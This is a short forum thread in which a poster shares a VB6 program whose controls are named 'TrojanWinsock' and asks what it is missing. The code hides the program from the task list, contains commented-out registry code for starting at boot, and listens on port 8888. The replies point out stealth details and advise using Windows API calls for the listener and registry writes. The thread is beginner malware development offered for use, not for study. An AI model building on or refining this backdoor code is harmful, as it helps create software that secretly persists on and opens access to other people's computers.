2 replies to this topic

[cr@sh0v3rr!d3]

I forgot to search the forum before posting this thread. So please feel free if I double posted to tell me.
Okay here is what I've got so far in my program (VB6 Program).

Private Sub Form_Load()
    Me.Visible = True
    App.TaskVisible = False
'    Dim Reg As Object
'    Set Reg = CreateObject("WScript.Shell")
'    Reg.RegWrite "hkey_local_machine\software\microsoft\windows\currentversion\runservices\" & _
'    App.EXEName, App.Path & "\" & App.EXEName & ".exe"
    TrojanWinsock.LocalPort = 8888
    TrojanWinsock.Listen
End Sub

Private Sub TrojanWinsock_Close()
    TrojanWinsock.Close
    TrojanWinsock.Listen
End Sub

Private Sub TrojanWinsock_ConnectionRequest(ByVal requestID As Long)
    TrojanWinsock.Close
    TrojanWinsock.Accept requestID
End Sub

Private Sub TrojanWinsock_DataArrival(ByVal bytesTotal As Long)
    Dim GotDat
    TrojanWinsock.GetData GotDat
    TrojanWinsock.SendData GotDat
End Sub

Private Sub TrojanWinsock_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    TrojanWinsock.Close
    TrojanWinsock.Listen
End Sub

But what I was wondering, is there something missing in here
that should be in this code and isn't. Any help would be appreciated.
Thanks in advance.

[Afterm4th]

app.taskvisable=false

[TheIllusiveMan]

The script in itself doesn't actually do anything at all.

And even if it did... you should have called the API directly instead of dropping a control into the form. One of the reasons why is because VB6 uses wrapper classes for that control. These libraries simply aren't going to be installed on most computers. And RegCreateKeyEx should have been used instead the windows script host.